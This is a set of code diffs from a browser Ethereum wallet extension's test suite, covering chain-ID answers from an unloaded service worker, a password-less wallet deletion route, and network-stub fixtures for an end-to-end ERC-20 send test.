// The stub structured-clones in both directions, as the real
// chrome.storage.local does. A stub that handed back the live stored object
// would alias it into whatever read it, so an in-place mutation of a detached
// copy would appear to have reached storage and this whole class of defect
// would be invisible here.
//
// opts.refreshBalances replaces the balances stub, so a test can hold a
// refresh open across a message.
function loadColdWorker(networkId, opts) {
jest.resetModules();
const options = opts || {};
jest.doMock("../src/shared/balances", () => ({
getProvider: () => ({}),
refreshBalances: options.refreshBalances || jest.fn(async () => {}),
}));
jest.doMock("../src/shared/phishingDomains", () => ({
isPhishingDomain: () => false,
}));
let alarmHandlers = {};
jest.doMock("../src/shared/alarms", () => ({
BALANCE_REFRESH_ALARM: "balance",
BALANCE_REFRESH_PERIOD_MINUTES: 1,
ensureRecurringAlarms: jest.fn(async () => {}),
registerAlarmHandlers: jest.fn((handlers) => {
alarmHandlers = handlers;
}),
}));
const store = { autistmask: storedProfile(networkId) };
let messageListener = null;
const set = jest.fn(async (items) => {
store.autistmask = structuredClone(items.autistmask);
});
global.chrome = {
storage: {
local: {
get: jest.fn(async () => structuredClone(store)),
set,
},
},
runtime: {
getURL: (path) => "chrome-extension://autistmask/" + path,
onMessage: {
addListener: (fn) => {
messageListener = fn;
},
},
onConnect: { addListener: () => {} },
lastError: null,
},
windows: {
getLastFocused: (cb) => cb(null),
create: (options, cb) => cb({ id: 1 }),
remove: (id, cb) => {
if (cb) cb();
},
onRemoved: { addListener: () => {} },
},
tabs: {
query: (queryInfo, cb) => cb([{ id: 1 }]),
sendMessage: (tabId, message, cb) => {
if (cb) cb();
},
},
action: { setPopup: () => {} },
};
require("../src/background/index");
async function rpc(method, origin) {
let result = null;
messageListener(
{ type: "AUTISTMASK_RPC", method, params: [] },
{ origin: origin || CONNECTED_ORIGIN },
(r) => {
result = r;
},
);
await settle();
return result;
}
return {
rpc,
persisted: () => store.autistmask,
storageSet: set,
fireBalanceAlarm: () => alarmHandlers.balance(),
};
}
describe("chain identity read by a worker that never loaded state", () => {
test("eth_chainId answers the stored chain, not the default", async () => {
// The first message this worker ever sees. Reading the unloaded
// singleton answers mainnet's 0x1 to a user who is on Sepolia.
const bg = loadColdWorker("sepolia");
expect(await bg.rpc("eth_chainId")).toEqual({
result: SEPOLIA.chainId,
});
});
test("net_version answers the stored chain, not the default", async () => {
const bg = loadColdWorker("sepolia");
expect(await bg.rpc("net_version")).toEqual({
result: SEPOLIA.networkVersion,
});
});
test("answers the stored chain to an origin that never connected", async () => {
// Neither method is gated on a connection, so the stale answer reached
// any page at all; the fixed answer has to as well.
const bg = loadColdWorker("sepolia");
expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
result: SEPOLIA.chainId,
});
expect(await bg.rpc("net_version", UNKNOWN_ORIGIN)).toEqual({
result: SEPOLIA.networkVersion,
});
});
test("answers mainnet for a profile stored on mainnet", async () => {
// The default and the stored value agree here, so this case cannot
// catch the defect; it is what keeps the fix from being a swap.
const bg = loadColdWorker("mainnet");
expect(await bg.rpc("eth_chainId")).toEqual({
result: MAINNET.chainId,
});
expect(await bg.rpc("net_version")).toEqual({
result: MAINNET.networkVersion,
});
});
test("persists nothing: these are reads", async () => {
// The load must not turn a read into a write. saveState() persists
// every field of the singleton, and a read path that reached it would
// be the wipe https://git.eeqj.de/sneak/AutistMask/issues/316 fixed.
const bg = loadColdWorker("sepolia");
await bg.rpc("eth_chainId");
await bg.rpc("net_version");
expect(bg.storageSet).not.toHaveBeenCalled();
expect(bg.persisted()).toEqual(storedProfile("sepolia"));
});
test("a chain read arriving mid-refresh does not discard the refresh", async () => {
// Any page reaches these two methods, and the injected provider sends
// eth_chainId on every page load, so this overlap is ordinary traffic
// rather than a contrived race.
//
// backgroundRefresh() hands the singleton's wallets to
// refreshBalances(), which mutates those address objects in place once
// the network round trip resolves, and only then saves. Answering the
// page by calling loadState() would replace state.wallets mid-flight,
// so the refreshed balances would land on detached objects and the
// save that follows would persist the pre-refresh values — while still
// stamping lastBalanceRefresh, suppressing the redo.
let releaseRoundTrip;
const roundTrip = new Promise((resolve) => {
releaseRoundTrip = resolve;
});
let refreshReachedNetwork;
const inFlight = new Promise((resolve) => {
refreshReachedNetwork = resolve;
});
const bg = loadColdWorker("sepolia", {
refreshBalances: async (wallets) => {
refreshReachedNetwork();
await roundTrip;
// In place, on the objects handed in — as balances.js does.
wallets[0].addresses[0].balance = REFRESHED_BALANCE;
},
});
const refresh = bg.fireBalanceAlarm();
await inFlight;
expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
result: SEPOLIA.chainId,
});
releaseRoundTrip();
await refresh;
expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
REFRESHED_BALANCE,
);
});
});

View File

@@ -1,503 +0,0 @@
// The lost-password route off the delete-wallet screen (issue #312).
//
// What is pinned here is that a user who has forgotten the password can
// still get out — no password is asked for and none is checked — and that
// the escape hatch destroys exactly the wallet it names and nothing else.
// The second half is the dangerous one: this is the only control in the
// product that erases key material without the password that encrypted it,
// so an off-by-one in the wallet it removes would take a wallet whose
// owner never asked for it to be touched.
//
// The assertions are made against what came back OUT of extension storage,
// not against the live `state` object. Deleting a wallet in memory and
// never persisting it looks identical from `state`, and a build that never
// wrote at all would pass a check that only reads `state` back.
//
// That makes the storage stub load-bearing, so it is a real store that
// structured-clones on both `set` and `get`. A stub whose `get` hands back
// the same object its `set` was given aliases the caller's own array: the
// test then reads its own in-memory mutation and calls it persistence, and
// passes against a build that persists nothing (see issue #324). The
// aliasing is closed off explicitly by the first test below rather than
// left as an assumption about `structuredClone`.
//
// The view is driven against a minimal DOM stub, in the same shape as
// tests/exportPrivkey.test.js: the module reads and writes named nodes and
// needs nothing else from a document.
const mockSettingsShow = jest.fn();
jest.mock("../src/popup/views/settings", () => ({
show: mockSettingsShow,
}));
jest.mock("../src/shared/vault", () => ({
decryptWithPassword: jest.fn(),
}));
const { RESTORABLE_VIEWS } = require("../src/popup/restorableViews");
const VIEW = "delete-wallet-lost-password";
// Fixed addresses — never used for anything but these tests.
const A0 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
const A1 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
const B0 = "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
const C0 = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
// ------------------------------------------------------------ DOM stub
function makeElement(id) {
const classes = new Set();
const el = {
id,
textContent: "",
value: "",
innerHTML: "",
disabled: false,
style: {},
dataset: {},
listeners: {},
classList: {
add: (...names) => names.forEach((n) => classes.add(n)),
remove: (...names) => names.forEach((n) => classes.delete(n)),
contains: (n) => classes.has(n),
toggle: (n, force) => {
const on = force === undefined ? !classes.has(n) : force;
if (on) classes.add(n);
else classes.delete(n);
return on;
},
},
addEventListener: (name, fn) => {
el.listeners[name] = el.listeners[name] || [];
el.listeners[name].push(fn);
},
appendChild: () => {},
remove: () => {},
querySelectorAll: () => [],
};
return el;
}
function makeDocument() {
const els = new Map();
return {
getElementById(id) {
// The debug banner is created on demand by helpers.js; absent
// is the state a non-debug, non-testnet popup is in.
if (id === "debug-banner") return null;
if (!els.has(id)) els.set(id, makeElement(id));
return els.get(id);
},
createElement: () => makeElement("created"),
addEventListener: () => {},
body: { prepend: () => {} },
};
}
// --------------------------------------------------------- storage stub
// A store that behaves the way `chrome.storage.local` does: what goes in is
// serialized, so the caller keeps no handle on what came to rest there, and
// what comes out is a fresh object the caller may mutate freely.
function makeStorage() {
let store = {};
return {
get: async (keys) => {
const wanted =
keys === undefined || keys === null
? Object.keys(store)
: [].concat(keys);
const out = {};
for (const key of wanted) {
if (key in store) out[key] = structuredClone(store[key]);
}
return out;
},
set: async (items) => {
for (const [key, value] of Object.entries(items)) {
store[key] = structuredClone(value);
}
},
// Test-only: what the extension would find on a cold start.
_raw: () => structuredClone(store),
};
}
// ------------------------------------------------------------ harness
function wallet(name, secret, addresses) {
return {
type: "hd",
name,
xpub: "xpub-" + name,
encryptedSecret: secret,
nextIndex: addresses.length,
addresses: addresses.map((address) => ({
address,
balance: "0.0000",
tokenBalances: [],
})),
};
}
function load() {
jest.resetModules();
mockSettingsShow.mockClear();
const storage = makeStorage();
const sent = [];
globalThis.chrome = {
storage: { local: storage },
runtime: { sendMessage: (msg) => sent.push(msg) },
};
globalThis.document = makeDocument();
const helpers = require("../src/popup/views/helpers");
const { state } = require("../src/shared/state");
const vault = require("../src/shared/vault");
const deleteWallet = require("../src/popup/views/deleteWallet");
state.hasWallet = true;
state.wallets = [
wallet("Wallet 1", "secret-one", [A0, A1]),
wallet("Wallet 2", "secret-two", [B0]),
wallet("Wallet 3", "secret-three", [C0]),
];
state.selectedWallet = 0;
state.selectedAddress = 0;
state.activeAddress = A0;
state.allowedSites = { [A0]: ["a.example"], [B0]: ["b.example"] };
state.deniedSites = { [B0]: ["c.example"], [C0]: ["d.example"] };
state.viewStack = ["main", "settings"];
state.currentView = "settings";
const renderWalletList = jest.fn();
deleteWallet.init({ renderWalletList });
return { helpers, state, vault, deleteWallet, storage, sent };
}
function click(id) {
const el = globalThis.document.getElementById(id);
return Promise.all((el.listeners.click || []).map((fn) => fn()));
}
function node(id) {
return globalThis.document.getElementById(id);
}
// The wallets as the extension would read them back on a cold start.
async function persistedWallets(storage) {
const result = await storage.get("autistmask");
return result.autistmask.wallets;
}
// Open the lost-password screen for a wallet, the way the user does.
async function openLostPassword(deleteWallet, walletIdx) {
deleteWallet.show(walletIdx);
await click("btn-delete-wallet-lost-password");
}
// ------------------------------------------------------------ tests
// The stub is what every persistence assertion below rests on, so its one
// dangerous failure mode is closed off first. An aliasing store passes
// every other test in this file against a build that never writes.
describe("the storage stub", () => {
test("does not hand back the object it was given", async () => {
const storage = makeStorage();
const written = { wallets: [{ name: "Wallet 1" }] };
await storage.set({ autistmask: written });
written.wallets.push({ name: "Wallet 2" });
written.wallets[0].name = "renamed after the write";
const readBack = (await storage.get("autistmask")).autistmask;
expect(readBack.wallets).toHaveLength(1);
expect(readBack.wallets[0].name).toBe("Wallet 1");
// And the other direction: mutating what came out must not reach
// back into the store.
readBack.wallets[0].name = "renamed after the read";
const again = (await storage.get("autistmask")).autistmask;
expect(again.wallets[0].name).toBe("Wallet 1");
});
});
describe("reaching the screen", () => {
test("the delete screen offers the route", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
expect(state.currentView).toBe(VIEW);
expect(node("delete-wallet-lost-name").textContent).toBe("Wallet 2");
expect(node("delete-wallet-lost-name-echo").textContent).toBe(
"Wallet 2",
);
});
// Both delete screens hang off Settings. Pushing one onto the other
// would leave Back on the confirm screen popping onto itself.
test("it does not push the screen it came from", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
expect(state.viewStack).toEqual(["main", "settings"]);
});
test("Back returns to the delete screen with its wallet still chosen", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
await click("btn-delete-wallet-lost-back");
expect(state.currentView).toBe("delete-wallet-confirm");
expect(node("delete-wallet-name").textContent).toBe("Wallet 2");
expect(state.viewStack).toEqual(["main", "settings"]);
// The confirm screen is usable, not merely on screen: the wallet
// it holds is the one that was chosen, so its own button does not
// answer "No wallet selected for deletion."
node("delete-wallet-password").value = "some password";
const { decryptWithPassword } = require("../src/shared/vault");
decryptWithPassword.mockRejectedValue(new Error("nope"));
await click("btn-delete-wallet-confirm");
expect(node("delete-wallet-flash").textContent).toBe(
"That password is incorrect. Please try again.",
);
});
});
describe("the typed confirmation", () => {
test("a name that is not the wallet's deletes nothing", async () => {
const { deleteWallet, state, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 3";
await click("btn-delete-wallet-lost-confirm");
expect(node("delete-wallet-lost-flash").textContent).toBe(
"That is not the name of this wallet. Type Wallet 2 to confirm.",
);
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
"visible",
);
expect(state.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 2",
"Wallet 3",
]);
expect(state.currentView).toBe(VIEW);
// Nothing was destroyed on disk either. Storage is not empty —
// showView() persists the current screen on the way in — so what
// is asserted is that all three wallets are still in it.
const persisted = await persistedWallets(storage);
expect(persisted.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-two",
"secret-three",
]);
});
test("an empty field deletes nothing", async () => {
const { deleteWallet, state } = load();
await openLostPassword(deleteWallet, 1);
await click("btn-delete-wallet-lost-confirm");
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
"visible",
);
expect(state.wallets).toHaveLength(3);
});
// Not a secret and not a password: it asks whether the user knows
// which wallet they are on. Refusing the name they can plainly read,
// over letter case, would only teach them to distrust the control.
test("case and surrounding spaces do not matter", async () => {
const { deleteWallet, state, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = " wALLet 2 ";
await click("btn-delete-wallet-lost-confirm");
expect(state.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 3",
]);
expect(await persistedWallets(storage)).toHaveLength(2);
});
// A name with a doubled inner space RENDERS with one — HTML collapses
// runs of whitespace — so the string the user can see and type is not
// the string the name is stored as. Comparing the two raw would make
// this wallet's confirmation impossible to satisfy by any typing at
// all, wedging the one screen that exists to unwedge people.
test("a doubled space inside the name is typed back as one", async () => {
const { deleteWallet, state, storage } = load();
state.wallets[1].name = "My Wallet";
await openLostPassword(deleteWallet, 1);
// What the DOM was handed still has both spaces; what the user
// reads off the screen, and therefore types, has one.
expect(node("delete-wallet-lost-name").textContent).toBe("My Wallet");
node("delete-wallet-lost-name-input").value = "My Wallet";
await click("btn-delete-wallet-lost-confirm");
expect(state.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 3",
]);
const persisted = await persistedWallets(storage);
expect(persisted.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-three",
]);
});
});
describe("deleting without the password", () => {
test("no password is asked for and none is checked", async () => {
const { deleteWallet, vault, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
expect(vault.decryptWithPassword).not.toHaveBeenCalled();
expect(await persistedWallets(storage)).toHaveLength(2);
});
// The load-bearing assertion of the whole file, and the one that says
// this control is safe to give a user who cannot prove anything: it
// removes the wallet it named, and every other wallet survives intact,
// key material included.
test("exactly the named wallet is destroyed", async () => {
const { deleteWallet, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
const wallets = await persistedWallets(storage);
expect(wallets.map((w) => w.name)).toEqual(["Wallet 1", "Wallet 3"]);
expect(wallets.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-three",
]);
expect(wallets.map((w) => w.xpub)).toEqual([
"xpub-Wallet 1",
"xpub-Wallet 3",
]);
expect(wallets[0].addresses.map((a) => a.address)).toEqual([A0, A1]);
expect(wallets[1].addresses.map((a) => a.address)).toEqual([C0]);
// The deleted wallet's secret is gone from storage entirely, not
// merely unreferenced by the wallet list.
expect(JSON.stringify(storage._raw())).not.toContain("secret-two");
expect(JSON.stringify(storage._raw())).not.toContain("xpub-Wallet 2");
});
test("only the deleted wallet's site permissions are dropped", async () => {
const { deleteWallet, storage } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.allowedSites).toEqual({ [A0]: ["a.example"] });
expect(saved.deniedSites).toEqual({ [C0]: ["d.example"] });
});
// The route shares finishDelete() with the password route, so the
// selection repair and the accountsChanged broadcast are the same on
// both. Deleting a wallet that did not own the active address must
// leave that address, and the selection, exactly where they were.
test("a selection in another wallet is left alone", async () => {
const { deleteWallet, storage, sent } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.activeAddress).toBe(A0);
expect(saved.selectedWallet).toBe(0);
expect(saved.selectedAddress).toBe(0);
expect(sent).toEqual([]);
// Settings is stubbed, so this is where the route hands over, not
// where it renders.
expect(mockSettingsShow).toHaveBeenCalled();
});
test("deleting the wallet holding the active address moves it and says so", async () => {
const { deleteWallet, storage, sent } = load();
await openLostPassword(deleteWallet, 0);
node("delete-wallet-lost-name-input").value = "Wallet 1";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.wallets.map((w) => w.name)).toEqual([
"Wallet 2",
"Wallet 3",
]);
expect(saved.activeAddress).toBe(B0);
expect(sent).toEqual([{ type: "AUTISTMASK_ACTIVE_CHANGED" }]);
});
test("deleting the last wallet lands on Welcome with nothing left", async () => {
const { deleteWallet, state, storage } = load();
state.wallets = [wallet("Wallet 1", "secret-one", [A0])];
state.allowedSites = { [A0]: ["a.example"] };
state.deniedSites = {};
await openLostPassword(deleteWallet, 0);
node("delete-wallet-lost-name-input").value = "Wallet 1";
await click("btn-delete-wallet-lost-confirm");
const saved = (await storage.get("autistmask")).autistmask;
expect(saved.wallets).toEqual([]);
expect(saved.hasWallet).toBe(false);
expect(saved.activeAddress).toBeNull();
expect(saved.allowedSites).toEqual({});
expect(state.currentView).toBe("welcome");
expect(JSON.stringify(storage._raw())).not.toContain("secret-one");
});
});
describe("what the screen leaves behind", () => {
test("the typed confirmation is wiped when the screen is left", async () => {
const { helpers, deleteWallet } = load();
await openLostPassword(deleteWallet, 1);
node("delete-wallet-lost-name-input").value = "Wallet 2";
// The Settings gear, which is not this screen's Back button.
helpers.showView("settings");
expect(node("delete-wallet-lost-name-input").value).toBe("");
expect(node("delete-wallet-lost-flash").textContent).toBe("");
expect(node("delete-wallet-lost-flash").style.visibility).toBe(
"hidden",
);
});
// Left mid-delete, the screen has to come back usable.
test("the confirm button is re-enabled on the way out", async () => {
const { helpers, deleteWallet } = load();
await openLostPassword(deleteWallet, 1);
node("btn-delete-wallet-lost-confirm").disabled = true;
helpers.showView("settings");
expect(node("btn-delete-wallet-lost-confirm").disabled).toBe(false);
});
// A wallet name is not a secret, so the screen is excluded for the
// other reason: reopening the popup must not land the user on a screen
// whose button erases key material.
test("the popup may not reopen onto it", () => {
expect(RESTORABLE_VIEWS.has(VIEW)).toBe(false);
expect(RESTORABLE_VIEWS.has("delete-wallet-confirm")).toBe(false);
});
});

View File

@@ -221,6 +221,11 @@ const RPC_RESULTS = {
eth_estimateGas: hex(GAS_LIMIT), eth_estimateGas: hex(GAS_LIMIT),
eth_getTransactionCount: "0x0", eth_getTransactionCount: "0x0",
eth_maxPriorityFeePerGas: hex(PRIORITY_FEE_WEI), eth_maxPriorityFeePerGas: hex(PRIORITY_FEE_WEI),
// "not mined yet", which is what a node answers for a transaction it has
// only just accepted. The wait screen the dApp transaction approval hands
// off to polls this every 10 seconds; leaving it unstubbed would report
// the poll as escaping traffic the moment a test outlived one tick.
eth_getTransactionReceipt: null,
}; };
// The "latest" block, which ethers' getFeeData() reads baseFeePerGas from // The "latest" block, which ethers' getFeeData() reads baseFeePerGas from
@@ -248,35 +253,26 @@ function latestBlock() {
const SELECTOR_DECIMALS = "0x313ce567"; const SELECTOR_DECIMALS = "0x313ce567";
// Every eth_call still answers with a zero word except decimals() on the // Every eth_call still answers with a zero word except decimals() on the
// stub token, which the wallet reads back at signing time to compare with // stub token. ethers reads that before it can encode an ERC-20 transfer,
// the scale the confirmation screen rendered (issue #305). // and a zero there makes parseUnits() reject any fractional amount — so the
// // ERC-20 confirmation path would fail its gas estimate for a reason that
// opts.tokenDecimalsOverride is the lying contract: set it and decimals() // has nothing to do with what is being tested.
// answers something other than the value this same fixture reports through function ethCallResult(req) {
// Blockscout, which is exactly the disagreement the wallet must refuse to
// sign over. It is read at request time, so a test flips it on the options
// object the route was registered with — after the confirmation screen has
// been built — without re-registering anything.
function ethCallResult(req, opts) {
const call = Array.isArray(req.params) ? req.params[0] : null; const call = Array.isArray(req.params) ? req.params[0] : null;
if (!call || typeof call !== "object") return ZERO_WORD; if (!call || typeof call !== "object") return ZERO_WORD;
const data = String(call.data || call.input || "").toLowerCase(); const data = String(call.data || call.input || "").toLowerCase();
const to = String(call.to || "").toLowerCase(); const to = String(call.to || "").toLowerCase();
if (data.startsWith(SELECTOR_DECIMALS) && to === STUB_TOKEN.address) { if (data.startsWith(SELECTOR_DECIMALS) && to === STUB_TOKEN.address) {
return word(opts.tokenDecimalsOverride || STUB_TOKEN.decimals); return word(STUB_TOKEN.decimals);
} }
return ZERO_WORD; return ZERO_WORD;
} }
// opts.tokenSymbolOverride is the hostile contract: set it and the explorer function tokenObject() {
// reports that string as the token's symbol, exactly as it would for a token
// whose symbol() returns markup. Read at request time, like every other
// fixture switch, so a test can flip it and reopen the popup.
function tokenObject(opts) {
return { return {
address_hash: STUB_TOKEN.address, address_hash: STUB_TOKEN.address,
address: STUB_TOKEN.address, address: STUB_TOKEN.address,
symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol, symbol: STUB_TOKEN.symbol,
name: STUB_TOKEN.name, name: STUB_TOKEN.name,
decimals: STUB_TOKEN.decimals, decimals: STUB_TOKEN.decimals,
holders_count: STUB_TOKEN.holders, holders_count: STUB_TOKEN.holders,
@@ -285,7 +281,7 @@ function tokenObject(opts) {
} }
// One received ERC-20 transfer of 1.5 E2E to the address under test. // One received ERC-20 transfer of 1.5 E2E to the address under test.
function tokenTransferItems(address, opts) { function tokenTransferItems(address) {
return [ return [
{ {
transaction_hash: STUB_TX_HASH, transaction_hash: STUB_TX_HASH,
@@ -294,7 +290,7 @@ function tokenTransferItems(address, opts) {
from: { hash: STUB_COUNTERPARTY }, from: { hash: STUB_COUNTERPARTY },
to: { hash: address }, to: { hash: address },
total: { decimals: STUB_TOKEN.decimals, value: "1500000" }, total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
token: tokenObject(opts), token: tokenObject(),
}, },
]; ];
} }
@@ -321,11 +317,11 @@ function nativeTransactionItems(address) {
// A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving // A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
// this is what puts an ERC-20 in the send screen's token dropdown, which is // this is what puts an ERC-20 in the send screen's token dropdown, which is
// the only way the confirmation screen's ERC-20 path can be reached. // the only way the confirmation screen's ERC-20 path can be reached.
function tokenBalanceItems(opts) { function tokenBalanceItems() {
return [ return [
{ {
value: "1500000", value: "1500000",
token: tokenObject(opts), token: tokenObject(),
}, },
]; ];
} }
@@ -350,38 +346,6 @@ function transactionDetails(hash) {
}; };
} }
// The receipt for a transaction this run broadcast.
//
// eth_getTransactionReceipt otherwise answers null — "not mined yet", which is
// what a node says about a transaction it has only just accepted, and what the
// wait screen has to keep polling through. opts.seedReceipt confirms it
// instead, which is how a test that drives the popup's own send to a broadcast
// gets off the wait screen: the wait resolves to the success view, which has a
// Done button, rather than polling for a receipt for the rest of the suite.
//
// Every field ethers' receipt formatter requires is present. A receipt it
// cannot parse throws inside the poll, which the wallet reports through
// log.errorf — i.e. console.error — and the harness fails the run on, so a
// half-populated fixture here would surface as an unrelated-looking failure.
function transactionReceipt(hash) {
return {
transactionHash: hash,
transactionIndex: "0x0",
blockHash: "0x" + "33".repeat(32),
blockNumber: hex(STUB_BLOCK_NUMBER),
from: STUB_COUNTERPARTY,
to: STUB_TOKEN.address,
cumulativeGasUsed: hex(GAS_LIMIT),
gasUsed: hex(GAS_LIMIT),
effectiveGasPrice: hex(GAS_PRICE_WEI),
contractAddress: null,
logs: [],
logsBloom: "0x" + "00".repeat(256),
status: "0x1",
type: "0x2",
};
}
function jsonResponse(route, body) { function jsonResponse(route, body) {
return route.fulfill({ return route.fulfill({
status: 200, status: 200,
@@ -444,13 +408,7 @@ function rpcReply(req, opts, report) {
}); });
} }
if (req.method === "eth_call") { if (req.method === "eth_call") {
return Object.assign(envelope, { result: ethCallResult(req, opts) }); return Object.assign(envelope, { result: ethCallResult(req) });
}
if (req.method === "eth_getTransactionReceipt") {
const hash = Array.isArray(req.params) ? req.params[0] : null;
return Object.assign(envelope, {
result: opts.seedReceipt && hash ? transactionReceipt(hash) : null,
});
} }
if (req.method === "eth_getBlockByNumber") { if (req.method === "eth_getBlockByNumber") {
return Object.assign(envelope, { result: latestBlock() }); return Object.assign(envelope, { result: latestBlock() });
@@ -597,14 +555,6 @@ function traceEnabled(raw) {
* eth_estimateGas until this is cleared again. * eth_estimateGas until this is cleared again.
* @param {string[]} [opts.broadcastTransactions] every raw signed * @param {string[]} [opts.broadcastTransactions] every raw signed
* transaction handed to eth_sendRawTransaction, appended in order. * transaction handed to eth_sendRawTransaction, appended in order.
* @param {string} [opts.tokenDecimalsOverride] what decimals() answers for
* the stub token, in place of the value Blockscout reports for it. This is
* the token that lies about its scale; read at request time.
* @param {string} [opts.tokenSymbolOverride] what the explorer reports as
* the stub token's symbol, in place of "E2E". This is the token whose
* symbol is markup; read at request time.
* @param {boolean} [opts.seedReceipt] answer eth_getTransactionReceipt with a
* confirmed receipt instead of null, so a wait screen resolves.
* @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) => * @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
* Promise<string|null>}>} * Promise<string|null>}>}
*/ */
@@ -681,14 +631,14 @@ async function installNetworkStubs(ctx, opts) {
return jsonResponse(route, { return jsonResponse(route, {
items: items:
opts.seedTokenTransfer && addr opts.seedTokenTransfer && addr
? tokenTransferItems(addr, opts) ? tokenTransferItems(addr)
: [], : [],
}); });
} }
if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) { if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
return jsonResponse( return jsonResponse(
route, route,
opts.seedTokenBalance ? tokenBalanceItems(opts) : [], opts.seedTokenBalance ? tokenBalanceItems() : [],
); );
} }
for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) { for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {

View File

@@ -12,12 +12,10 @@
const { const {
Transaction, Transaction,
formatEther, formatEther,
formatUnits,
getAddress, getAddress,
getBytes, getBytes,
hexlify, hexlify,
parseEther, parseEther,
parseUnits,
toQuantity, toQuantity,
toUtf8Bytes, toUtf8Bytes,
verifyMessage, verifyMessage,
@@ -1967,358 +1965,6 @@ test("ConfirmTx reports a failed ERC-20 estimate as unknown, not as a fee proble
); );
}); });
// ------------------------- the popup's own send, end to end (#305)
//
// Everything above this point stops at the confirmation screen. Nothing in
// the suite had ever clicked #btn-confirm-send, so the wallet's own Send ->
// ConfirmTx -> Sign & Send -> WaitTx path had no coverage at all, and issue
// #305 shipped through the gap: the screen was rendered from the explorer's
// decimals while the transfer was encoded from decimals() read off the
// contract at signing time, with nothing comparing the two.
//
// These two tests drive that path to a broadcast and read the amount out of
// the bytes the node was handed. The first asserts those bytes against what
// the screen displayed; the second makes the contract answer a different
// scale after the screen was built, and requires that nothing is broadcast.
// keccak("transfer(address,uint256)")[0:4].
const SELECTOR_TRANSFER = "0xa9059cbb";
// What decimals() starts answering once the confirmation screen has been
// built. The explorer reports 6 for the same token, so a wallet that encodes
// from the contract signs 10^12 times the amount it displayed.
const LYING_DECIMALS = "18";
const TOKEN_DECIMALS = Number(STUB_TOKEN.decimals);
// The transfer() call inside a raw signed transaction, hand-decoded.
//
// Deliberately not run through an ethers Interface built from the
// extension's own ABI: what is under assertion is the bytes that reached the
// node, and the fewer assumptions the wallet and the assertion share, the
// less room there is for both to be wrong in the same direction.
function decodeTransfer(rawSignedTx) {
const signed = Transaction.from(rawSignedTx);
const data = signed.data.toLowerCase();
assert(
data.startsWith(SELECTOR_TRANSFER) && data.length === 10 + 128,
"the broadcast transaction is not an ERC-20 transfer() call: " + data,
);
return {
signed,
recipient: getAddress("0x" + data.slice(34, 74)),
rawAmount: BigInt("0x" + data.slice(74)),
};
}
// The amount the confirmation screen is showing, verbatim.
async function shownAmount(page) {
return (await page.locator("#confirm-amount").innerText()).trim();
}
async function fillPasswordAndSend(page) {
await page.fill("#confirm-tx-password", PASSWORD);
await page.click("#btn-confirm-send");
}
async function goToTokenConfirm(env) {
await goToConfirm(env.page, {
token: STUB_TOKEN.address,
balance: TOKEN_BALANCE_TEXT + " " + STUB_TOKEN.symbol,
amount: TOKEN_AMOUNT,
});
await waitForEstimate(env.page);
const shown = await shownAmount(env.page);
assert(
shown === TOKEN_AMOUNT + " " + STUB_TOKEN.symbol,
"the confirmation screen is not showing the amount that was entered: " +
JSON.stringify(shown),
);
return shown;
}
test("the popup's own ERC-20 send broadcasts the amount it displayed (#305)", async (env) => {
// The previous test left the ETH balance at the fee-only fixture, which
// blocks sending outright; this one has to be able to press Send.
env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
await settleOnMain(env, { ethWei: FUNDED_ETH_WEI, expectToken: true });
const shown = await goToTokenConfirm(env);
const before = env.routeOpts.broadcastTransactions.length;
// Confirm the transaction once it is broadcast, so the wait screen
// resolves to the success view instead of polling for the rest of the run.
env.routeOpts.seedReceipt = true;
await fillPasswordAndSend(env.page);
await visible(env.page, "#view-wait-tx", 60000);
const broadcast = env.routeOpts.broadcastTransactions;
assert(
broadcast.length === before + 1,
"expected exactly one raw transaction to reach the RPC, got " +
(broadcast.length - before),
);
const { signed, recipient, rawAmount } = decodeTransfer(
broadcast[broadcast.length - 1],
);
// The measurement, printed on every run: the amount the user read, and
// what the signed bytes mean at each of the two candidate scales. Under
// the defect these three lines disagree.
console.log(
"# erc-20 send artifact: displayed=" +
JSON.stringify(shown) +
